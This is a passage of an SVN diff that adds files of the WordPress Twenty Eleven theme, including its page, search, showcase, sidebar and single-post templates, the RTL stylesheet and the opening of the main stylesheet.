+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/page.php	(revision 33402)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * Template for displaying all pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages
+ * and that other 'pages' on your WordPress site will use a
+ * different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<div id="primary">
+			<div id="content" role="main">
+
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php get_template_part( 'content', 'page' ); ?>
+
+					<?php comments_template( '', true ); ?>
+
+				<?php endwhile; // end of the loop. ?>
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/readme.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/readme.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/readme.txt	(revision 33402)
@@ -0,0 +1,5 @@
+= TWENTY ELEVEN =
+
+* by the WordPress team, http://wordpress.org/
+
+== ABOUT TWENTY ELEVEN ==
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/rtl.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/rtl.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/rtl.css	(revision 33402)
@@ -0,0 +1,582 @@
+/*
+Theme Name: Twenty Eleven
+
+Adding support for language written in a Right To Left (RTL) direction is easy -
+it's just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+http://codex.wordpress.org/Right_to_Left_Language_Support
+
+*/
+
+/* =Reset reset
+----------------------------------------------- */
+
+caption, th, td {
+	text-align: right;
+}
+
+/* =Structure
+----------------------------------------------- */
+
+body {
+	direction:rtl;
+	unicode-bidi:embed;
+}
+
+/* Showcase */
+.page-template-showcase-php section.recent-posts {
+	float: left;
+	margin: 0 31% 0 0;
+}
+.page-template-showcase-php #main .widget-area {
+	float: right;
+	margin: 0 0 0 -22.15%;
+}
+
+/* One column */
+
+.one-column article.feature-image.small .entry-summary a {
+	left: auto;
+	right: -9%;
+}
+
+/* Simplify the pullquotes and pull styles */
+.one-column.singular .entry-meta .edit-link a {
+	right: 0px;
+	left: auto;
+}
+/* Make sure we have room for our comment avatars */
+.one-column .commentlist > li.comment {
+	margin-left: 0;
+	margin-right: 102px;
+}
+/* Make sure the logo and search form don't collide */
+.one-column #branding #searchform {
+	right: auto;
+	left: 40px;
+}
+/* Talking avatars take up too much room at this size */
+.one-column .commentlist > li.comment {
+	margin-right: 0;
+}
+.one-column .commentlist > li.comment .comment-meta,
+.one-column .commentlist > li.comment .comment-content {
+	margin-right: 0;
+	margin-left: 85px;
+}
+.one-column .commentlist .avatar {
+	right: auto;
+	left: 1.625em;
+}
+.one-column .commentlist .children .avatar {
+	left: auto;
+	right: 2.2em;
+}
+
+/* =Global
+----------------------------------------------- */
+
+/* Text elements */
+p {
+	margin-bottom: 1.625em;
+}
+ul, ol {
+	margin: 0 2.5em 1.625em 0;
+}
+.ltr ul, .ltr ol {
+	margin: 0 0 1.625em 2.5em;
+}
+blockquote {
+	font-family: Arial, sans-serif;
+}
+blockquote em, blockquote i, blockquote cite {
+	font-style: normal;
+}
+
+/* Forms */
+textarea {
+	padding-left: 0;
+	padding-right: 3px;
+}
+input#s {
+	background-position: 97% 6px;
+	padding: 4px 28px 4px 10px;
+}
+
+/* Assistive text */
+#access a.assistive-text:focus {
+	left: auto;
+	right: 7.6%;
+}
+
+/* =Header
+----------------------------------------------- */
+
+#site-title {
+	margin-right: 0;
+	margin-left: 270px;
+}
+
+#site-description {
+	margin: 0 0 3.65625em 270px;
+}
+
+/* =Menu
+-------------------------------------------------------------- */
+
+#access {
+	float: right;
+}
+#access ul {
+	margin: 0 -0.8125em 0 0;
+	padding-right: 0;
+}
+#access li {
+	float: right;
+}
+#access ul ul {
+	float: right;
+	left: auto;
+	right: 0;
+}
+#access ul ul ul {
+	left: auto;
+	right: 100%;
+}
+
+/* Search Form */
+#branding #searchform {
+	right: auto;
+	left: 7.6%;
+	text-align: left;
+}
+#branding #s {
+	float: left;
+}
+#branding .only-search + #access div {
+	padding-right: 0;
+	padding-left: 205px;
+}
+
+
+/* =Content
+----------------------------------------------- */
+.entry-title,
+.entry-header .entry-meta {
+	padding-right: 0;
+	padding-left: 76px;
+}
+.entry-content td,
+.comment-content td {
+	padding: 6px 0 6px 10px;
+}
+.page-link span {
+	margin-right: 0;
+	margin-left: 6px;
+}
+.entry-meta .edit-link a {
+	float: left;
+}
+/* Images */
+
+.wp-caption .wp-caption-text,
+.gallery-caption {
+	font-family: Arial, sans-serif;
+}
+.wp-caption .wp-caption-text {
+	padding: 10px 40px 5px 0px;
+}
+.wp-caption .wp-caption-text:before {
+	margin-right: 0;
+	margin-left: 5px;
+	left: auto;
+	right: 10px;
+}
+#content .gallery-columns-4 .gallery-item {
+	padding-right:0;
+	padding-left:2%;
+}
+
+/* Author Info */
+.singular #author-info {
+	margin: 2.2em -35.4% 0 -35.6%;
+}
+#author-avatar {
+	float: right;
+	margin-right: 0;
+	margin-left: -78px;
+}
+#author-description {
+	float: right;
+	margin-left: 0;
+	margin-right: 108px;
+}
+/* Comments link */
+.entry-header .comments-link a {
+	background-image: url(images/comment-bubble-rtl.png);
+	right: auto;
+	left: 0;
+}
+
+/*
+	Post Formats Headings
+*/
+.singular .entry-title,
+.singular .entry-header .entry-meta {
+	padding-left: 0;
+}
+.singular .entry-header .entry-meta {
+	left: auto;
+	right: 0;
+}
+.singular .entry-meta .edit-link a {
+	left: auto;
+	right: 50px;
+}
+
+
+/* =Gallery
+----------------------------------------------- */
+
+.format-gallery .gallery-thumb {
+	float: right;
+	margin: .375em 0 0 1.625em;
+}
+
+
+/* =Status
+----------------------------------------------- */
+
+.format-status img.avatar {
+	float: right;
+	margin: 4px 0 2px 10px;
+}
+
+
+/* =Image
+----------------------------------------------- */
+
+.indexed.format-image div.entry-meta {
+	float: right;
+}
+/* =error404
+----------------------
+------------------------- */
+.error404 #main .widget {
+	float: right;
+	margin-right: auto;
+	margin-left: 3.7%;
+}
+.error404 #main .widget_archive {
+	margin-left: 0;
+}
+.error404 #main .widget_tag_cloud {
+	margin-left: 0;
+}
+
+/* =Showcase
+----------------------------------------------- */
+
+article.intro .edit-link a {
+	right: auto;
+	left: 20px;
+}
+
+/* Featured post */
+section.featured-post {
+	float: right;
+}
+
+/* Small featured post */
+section.featured-post .attachment-small-feature {
+	float: left;
+	margin: 0 0 1.625em -8.9%;
+	right: auto;
+	left: -15px;
+}
+article.feature-image.small {
+	float: right;
+}
+article.feature-image.small .entry-summary p a {
+	left:auto;
+	right: -23.8%;
+	padding: 9px 85px 9px 26px;
+}
+
+/* Large featured post */
+section.feature-image.large .hentry {
+	left:auto;
+	right: 9%;
+	margin: 1.625em 0 0 9%;
+}
+/* Featured Slider */
+.featured-posts .showcase-heading {
+	padding-left: 0;
+	padding-right: 8.9%;
+}
+.featured-posts section.featured-post {
+	left: auto;
+	right: 0;
+}
+#content .feature-slider {
+	right: auto;
+	left: 8.9%;
+}
+.feature-slider li {
+	float: right;
+}
+/* Recent Posts */
+section.recent-posts .other-recent-posts a[rel="bookmark"] {
+	float: right;
+}
+section.recent-posts .other-recent-posts .comments-link a,
+section.recent-posts .other-recent-posts .comments-link > span {
+	padding: 0.3125em 1em 0.3125em 0;
+	right: auto;
+	left: 0;
+	text-align: left;
+}
+
+/* =Attachments
+----------------------------------------------- */
+
+/* =Navigation
+-------------------------------------------------------------- */
+
+.nav-previous {
+	float: right;
+}
+.nav-next {
+	float: left;
+	text-align: left;
+}
+
+/* Singular navigation */
+#nav-single {
+	float: left;
+	text-align: left;
+}
+#nav-single .nav-next {
+	padding-left: 0;
+	padding-right: .5em;
+}
+
+
+/* =Widgets
+----------------------------------------------- */
+
+.widget ul ul {
+	margin-left: 0;
+	margin-right: 1.5em;
+}
+
+/* Twitter */
+.widget_twitter .timesince {
+	margin-right: 0;
+	margin-left: -10px;
+	text-align: left;
+}
+
+/* =Comments
+----------------------------------------------- */
+
+.commentlist .children li.comment {
+	border-left: none;
+	border-right: 1px solid #ddd;
+	-moz-border-radius: 3px 0  0 3px;
+	border-radius: 3px 0 0 3px;
+}
+.commentlist .children li.comment .comment-meta {
+	margin-left: 0;
+	margin-right: 50px;
+}
+.commentlist .avatar {
+	left: auto;
+	right: -102px;
+}
+.commentlist > li:before {
+	content: url(images/comment-arrow-rtl.png);
+	left:auto;
+	right: -21px;
+}
+.commentlist > li.pingback:before {
+	content: '';
+}
+.commentlist .children .avatar {
+	left: auto;
+	right: 2.2em;
+}
+
+/* Post author highlighting */
+.commentlist > li.bypostauthor:before {
+	content: url(images/comment-arrow-bypostauthor-rtl.png);
+}
+
+/* sidebar-page.php comments */
+/* Make sure we have room for our comment avatars */
+.page-template-sidebar-page-php .commentlist > li.comment,
+.page-template-sidebar-page-php.commentlist .pingback {
+	margin-left: 0;
+	margin-right: 102px;
+}
+
+/* Comment Form */
+#respond .comment-form-author label,
+#respond .comment-form-email label,
+#respond .comment-form-url label,
+#respond .comment-form-comment label {
+	left: auto;
+	right: 4px;
+}
+#respond .comment-form-author label,
+#respond .comment-form-email label,
+#respond .comment-form-url label,
+#respond .comment-form-comment label {
+	-webkit-box-shadow: -1px 2px 2px rgba(204,204,204,0.8);
+	-moz-box-shadow: -1px 2px 2px rgba(204,204,204,0.8);
+	box-shadow: -1px 2px 2px rgba(204,204,204,0.8);
+}
+#respond .comment-form-author .required,
+#respond .comment-form-email .required {
+	left: auto;
+	right: 75%;
+}
+#respond .form-submit {
+	float: left;
+}
+#respond input#submit {
+	left: auto;
+	right: 30px;
+	padding: 5px 22px 5px 42px;
+}
+#respond #cancel-comment-reply-link {
+	margin-left: 0;
+	margin-right: 10px;
+}
+#cancel-comment-reply-link {
+	right: auto;
+	left: 1.625em;
+}
+
+/* =Footer
+----------------------------------------------- */
+
+/* Two Footer Widget Areas */
+#supplementary.two .widget-area {
+	float: right;
+	margin-right: 0;
+	margin-left: 3.7%;
+}
+#supplementary.two .widget-area + .widget-area {
+	margin-left: 0;
+}
+
+/* Three Footer Widget Areas */
+#supplementary.three .widget-area {
+	float: right;
+	margin-right: 0;
+	margin-left: 3.7%;
+}
+#supplementary.three .widget-area + .widget-area + .widget-area {
+	margin-left: 0;
+}
+
+/* Site Generator Line */
+#site-generator .sep {
+	background-position: right center;
+}
+
+
+/* =Responsive Structure
+----------------------------------------------- */
+
+@media (max-width: 800px) {
+	/* Simplify the showcase template when small feature */
+	section.featured-post .attachment-small-feature,
+	.one-column section.featured-post .attachment-small-feature {
+		float: right;
+	}
+	article.feature-image.small {
+		float: left;
+	}
+	article.feature-image.small .entry-summary p a {
+		right: 0;
+	}
+	.singular .entry-meta .edit-link a {
+		left: auto;
+		right: 0px;
+	}
+	/* Make sure we have room for our comment avatars */
+	.commentlist > li.comment,
+	.commentlist .pingback {
+		margin-left: 0;
+		margin-right: 102px;
+	}
+	/* No need to float footer widgets at this size */
+	#colophon #supplementary .widget-area {
+		margin-left: 0;
+	}
+	/* No need to float 404 widgets at this size */
+	.error404 #main .widget {
+		margin-left: 0;
+	}
+}
+@media (max-width: 650px) {
+	/* @media (max-width: 650px) Reduce font-sizes for better readability on smaller devices */
+	#site-title,
+	#site-description {
+		margin-left: 0;
+	}
+	/* Talking avatars take up too much room at this size */
+	.commentlist > li.comment,
+	.commentlist > li.pingback {
+		margin-right: 0 !important;
+	}
+	.commentlist .children .avatar {
+		left: auto;
+		right: 2.2em;
+	}
+	/* Use the available space in the smaller comment form */
+	#respond .comment-form-author .required,
+	#respond .comment-form-email .required {
+	    left: auto;
+	    right: 95%;
+	}
+	#content .gallery-columns-3 .gallery-item {
+		padding-right: 0;
+		padding-left:2%;
+	}
+}
+@media (max-width: 450px) {
+	#content .gallery-columns-2 .gallery-item {
+		padding-right:0;
+		padding-left:4%;
+	}
+}
+
+/* =Print
+----------------------------------------------- */
+
+@media print {
+	#primary {
+	    float: right;
+	}
+	/* Comments */
+	.commentlist .avatar {
+	    left: auto;
+	    right: 2.2em;
+	}
+	.commentlist li.comment .comment-meta {
+	    margin-left: 0;
+	    margin-right: 50px;
+	}
+}
+
+/* =IE7
+----------------------------------------------- */
+
+#ie7 section.recent-posts {
+	margin-right: 0;
+	margin-left: 7.6%;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/search.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/search.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/search.php	(revision 33402)
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Template for displaying Search Results pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<section id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<header class="page-header">
+					<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyeleven' ), '<span>' . get_search_query() . '</span>' ); ?></h1>
+				</header>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php
+						/*
+						 * Include the Post-Format-specific template for the content.
+						 * If you want to overload this in a child theme then include a file
+						 * called content-___.php (where ___ is the Post Format name) and that
+						 * will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+					?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Sorry, but nothing matched your search criteria. Please try again with some different keywords.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/searchform.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/searchform.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/searchform.php	(revision 33402)
@@ -0,0 +1,14 @@
+<?php
+/**
+ * Template for displaying search forms in Twenty Eleven
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+	<form method="get" id="searchform" action="<?php echo esc_url( home_url( '/' ) ); ?>">
+		<label for="s" class="assistive-text"><?php _e( 'Search', 'twentyeleven' ); ?></label>
+		<input type="text" class="field" name="s" id="s" placeholder="<?php esc_attr_e( 'Search', 'twentyeleven' ); ?>" />
+		<input type="submit" class="submit" name="submit" id="searchsubmit" value="<?php esc_attr_e( 'Search', 'twentyeleven' ); ?>" />
+	</form>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/showcase.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/showcase.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/showcase.php	(revision 33402)
@@ -0,0 +1,228 @@
+<?php
+/**
+ * Template Name: Showcase Template
+ *
+ * Description: A Page Template that showcases Sticky Posts, Asides, and Blog Posts.
+ *
+ * The showcase template in Twenty Eleven consists of a featured posts section using sticky posts,
+ * another recent posts area (with the latest post shown in full and the rest as a list)
+ * and a left sidebar holding aside posts.
+ *
+ * We are creating two queries to fetch the proper posts and a custom widget for the sidebar.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+// Enqueue showcase script for the slider
+wp_enqueue_script( 'twentyeleven-showcase', get_template_directory_uri() . '/js/showcase.js', array( 'jquery' ), '2011-04-28' );
+
+get_header(); ?>
+
+		<div id="primary" class="showcase">
+			<div id="content" role="main">
+
+				<?php while ( have_posts() ) : the_post(); ?>
+
+				<?php
+					/*
+					 * We are using a heading by rendering the_content
+					 * If we have content for this page, let's display it.
+					 */
+					if ( '' != get_the_content() )
+						get_template_part( 'content', 'intro' );
+				?>
+
+				<?php endwhile; ?>
+
+				<?php
+					/*
+					 * Begin the featured posts section.
+					 *
+					 * See if we have any sticky posts and use them to create our featured posts.
+					 * We limit the featured posts at ten.
+					 */
+					$sticky = get_option( 'sticky_posts' );
+
+					// Proceed only if sticky posts exist.
+					if ( ! empty( $sticky ) ) :
+
+					$featured_args = array(
+						'post__in' => $sticky,
+						'post_status' => 'publish',
+						'posts_per_page' => 10,
+						'no_found_rows' => true,
+					);
+
+					// The Featured Posts query.
+					$featured = new WP_Query( $featured_args );
+
+					// Proceed only if published posts exist
+					if ( $featured->have_posts() ) :
+
+					/*
+					 * We will need to count featured posts starting from zero
+					 * to create the slider navigation.
+					 */
+					$counter_slider = 0;
+
+					// Compatibility with versions of WordPress prior to 3.4.
+					if ( function_exists( 'get_custom_header' ) )
+						$header_image_width = get_theme_support( 'custom-header', 'width' );
+					else
+						$header_image_width = HEADER_IMAGE_WIDTH;
+				?>
+
+				<div class="featured-posts">
+					<h1 class="showcase-heading"><?php _e( 'Featured Post', 'twentyeleven' ); ?></h1>
+
+				<?php
+					// Let's roll.
+					while ( $featured->have_posts() ) : $featured->the_post();
+
+					// Increase the counter.
+					$counter_slider++;
+
+					/*
+					 * We're going to add a class to our featured post for featured images
+					 * by default it'll have the feature-text class.
+					 */
+					$feature_class = 'feature-text';
+
+					if ( has_post_thumbnail() ) {
+						// ... but if it has a featured image let's add some class
+						$feature_class = 'feature-image small';
+
+						// Hang on. Let's check this here image out.
+						$image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), array( $header_image_width, $header_image_width ) );
+
+						// Is it bigger than or equal to our header?
+						if ( $image[1] >= $header_image_width ) {
+							// If bigger, let's add a BIGGER class. It's EXTRA classy now.
+							$feature_class = 'feature-image large';
+						}
+					}
+					?>
+
+					<section class="featured-post <?php echo $feature_class; ?>" id="featured-post-<?php echo $counter_slider; ?>">
+
+						<?php
+							/*
+							 * If the thumbnail is as big as the header image
+							 * make it a large featured post, otherwise render it small
+							 */
+							if ( has_post_thumbnail() ) {
+								if ( $image[1] >= $header_image_width )
+									$thumbnail_size = 'large-feature';
+								else
+									$thumbnail_size = 'small-feature';
+								?>
+								<a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_post_thumbnail( $thumbnail_size ); ?></a>
+								<?php
+							}
+						?>
+						<?php get_template_part( 'content', 'featured' ); ?>
+					</section>
+				<?php endwhile;	?>
+
+				<?php
+					// Show slider only if we have more than one featured post.
+					if ( $featured->post_count > 1 ) :
+				?>
+				<nav class="feature-slider">
+					<ul>
+					<?php
+
+						// Reset the counter so that we end up with matching elements
+				    	$counter_slider = 0;
+
+						// Begin from zero
+				    	rewind_posts();
+
+						// Let's roll again.
+				    	while ( $featured->have_posts() ) : $featured->the_post();
+				    		$counter_slider++;
+							if ( 1 == $counter_slider )
+								$class = 'class="active"';
+							else
+								$class = '';
+				    	?>
+						<li><a href="#featured-post-<?php echo $counter_slider; ?>" title="<?php echo esc_attr( sprintf( __( 'Featuring: %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" <?php echo $class; ?>></a></li>
+					<?php endwhile;	?>
+					</ul>
+				</nav>
+				<?php endif; // End check for more than one sticky post. ?>
+				</div><!-- .featured-posts -->
+				<?php endif; // End check for published posts. ?>
+				<?php endif; // End check for sticky posts. ?>
+
+				<section class="recent-posts">
+					<h1 class="showcase-heading"><?php _e( 'Recent Posts', 'twentyeleven' ); ?></h1>
+
+					<?php
+
+					// Display our recent posts, showing full content for the very latest, ignoring Aside posts.
+					$recent_args = array(
+						'order' => 'DESC',
+						'post__not_in' => get_option( 'sticky_posts' ),
+						'tax_query' => array(
+							array(
+								'taxonomy' => 'post_format',
+								'terms' => array( 'post-format-aside', 'post-format-link', 'post-format-quote', 'post-format-status' ),
+								'field' => 'slug',
+								'operator' => 'NOT IN',
+							),
+						),
+						'no_found_rows' => true,
+					);
+
+					// Our new query for the Recent Posts section.
+					$recent = new WP_Query( $recent_args );
+
+					// The first Recent post is displayed normally
+					if ( $recent->have_posts() ) : $recent->the_post();
+
+						// Set $more to 0 in order to only get the first part of the post.
+						global $more;
+						$more = 0;
+
+						get_template_part( 'content', get_post_format() );
+
+						echo '<ol class="other-recent-posts">';
+
+					endif;
+
+					// For all other recent posts, just display the title and comment status.
+					while ( $recent->have_posts() ) : $recent->the_post(); ?>
+
+						<li class="entry-title">
+							<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+							<span class="comments-link">
+								<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?>
+							</span>
+						</li>
+
+					<?php
+					endwhile;
+
+					// If we had some posts, close the <ol>
+					if ( $recent->post_count > 0 )
+						echo '</ol>';
+					?>
+				</section><!-- .recent-posts -->
+
+				<div class="widget-area" role="complementary">
+					<?php if ( ! dynamic_sidebar( 'sidebar-2' ) ) : ?>
+
+						<?php
+						the_widget( 'Twenty_Eleven_Ephemera_Widget', '', array( 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>' ) );
+						?>
+
+					<?php endif; // end sidebar widget area ?>
+				</div><!-- .widget-area -->
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/sidebar-footer.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/sidebar-footer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/sidebar-footer.php	(revision 33402)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Footer widget areas
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+<?php
+	/*
+	 * The footer widget area is triggered if any of the areas
+	 * have widgets. So let's check that first.
+	 *
+	 * If none of the sidebars have widgets, then let's bail early.
+	 */
+	if (   ! is_active_sidebar( 'sidebar-3'  )
+		&& ! is_active_sidebar( 'sidebar-4' )
+		&& ! is_active_sidebar( 'sidebar-5'  )
+	)
+		return;
+	// If we get this far, we have widgets. Let do this.
+?>
+<div id="supplementary" <?php twentyeleven_footer_sidebar_class(); ?>>
+	<?php if ( is_active_sidebar( 'sidebar-3' ) ) : ?>
+	<div id="first" class="widget-area" role="complementary">
+		<?php dynamic_sidebar( 'sidebar-3' ); ?>
+	</div><!-- #first .widget-area -->
+	<?php endif; ?>
+
+	<?php if ( is_active_sidebar( 'sidebar-4' ) ) : ?>
+	<div id="second" class="widget-area" role="complementary">
+		<?php dynamic_sidebar( 'sidebar-4' ); ?>
+	</div><!-- #second .widget-area -->
+	<?php endif; ?>
+
+	<?php if ( is_active_sidebar( 'sidebar-5' ) ) : ?>
+	<div id="third" class="widget-area" role="complementary">
+		<?php dynamic_sidebar( 'sidebar-5' ); ?>
+	</div><!-- #third .widget-area -->
+	<?php endif; ?>
+</div><!-- #supplementary -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/sidebar-page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/sidebar-page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/sidebar-page.php	(revision 33402)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Template Name: Sidebar Template
+ *
+ * Description: A Page Template that adds a sidebar to pages.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<div id="primary">
+			<div id="content" role="main">
+
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php get_template_part( 'content', 'page' ); ?>
+
+					<?php comments_template( '', true ); ?>
+
+				<?php endwhile; // end of the loop. ?>
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/sidebar.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/sidebar.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/sidebar.php	(revision 33402)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * Sidebar containing the main widget area
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+$options = twentyeleven_get_theme_options();
+$current_layout = $options['theme_layout'];
+
+if ( 'content' != $current_layout ) :
+?>
+		<div id="secondary" class="widget-area" role="complementary">
+			<?php if ( ! dynamic_sidebar( 'sidebar-1' ) ) : ?>
+
+				<aside id="archives" class="widget">
+					<h3 class="widget-title"><?php _e( 'Archives', 'twentyeleven' ); ?></h3>
+					<ul>
+						<?php wp_get_archives( array( 'type' => 'monthly' ) ); ?>
+					</ul>
+				</aside>
+
+				<aside id="meta" class="widget">
+					<h3 class="widget-title"><?php _e( 'Meta', 'twentyeleven' ); ?></h3>
+					<ul>
+						<?php wp_register(); ?>
+						<li><?php wp_loginout(); ?></li>
+						<?php wp_meta(); ?>
+					</ul>
+				</aside>
+
+			<?php endif; // end sidebar widget area ?>
+		</div><!-- #secondary .widget-area -->
+<?php endif; ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/single.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/single.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/single.php	(revision 33402)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Template for displaying all single posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<div id="primary">
+			<div id="content" role="main">
+
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<nav id="nav-single">
+						<h3 class="assistive-text"><?php _e( 'Post navigation', 'twentyeleven' ); ?></h3>
+						<span class="nav-previous"><?php previous_post_link( '%link', __( '<span class="meta-nav">&larr;</span> Previous', 'twentyeleven' ) ); ?></span>
+						<span class="nav-next"><?php next_post_link( '%link', __( 'Next <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?></span>
+					</nav><!-- #nav-single -->
+
+					<?php get_template_part( 'content-single', get_post_format() ); ?>
+
+					<?php comments_template( '', true ); ?>
+
+				<?php endwhile; // end of the loop. ?>
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/style.css	(revision 33402)
@@ -0,0 +1,2762 @@
+/*
+Theme Name: Twenty Eleven
+Theme URI: http://wordpress.org/themes/twentyeleven
+Author: the WordPress team
+Author URI: http://wordpress.org/
+Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom "Ephemera" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured "sticky" posts), and special styles for six different post formats.
+Version: 2.0
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: dark, light, white, black, gray, one-column, two-columns, left-sidebar, right-sidebar, fixed-layout, responsive-layout, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-image-header, featured-images, flexible-header, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready
+Text Domain: twentyeleven
+*/
+
+/* =Reset default browser CSS. Based on work by Eric Meyer: http://meyerweb.com/eric/tools/css/reset/index.html
+-------------------------------------------------------------- */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+	border: 0;
+	font-family: inherit;
+	font-size: 100%;
+	font-style: inherit;
+	font-weight: inherit;
+	margin: 0;
+	outline: 0;
+	padding: 0;
+	vertical-align: baseline;
+}
+:focus {/* remember to define focus styles! */
+	outline: 0;
+}
+body {
+	background: #fff;
+	line-height: 1;
+}
+ol, ul {
+	list-style: none;
+}
+table {/* tables still need 'cellspacing="0"' in the markup */
+	border-collapse: separate;
+	border-spacing: 0;
+}
+caption, th, td {
+	font-weight: normal;
+	text-align: left;
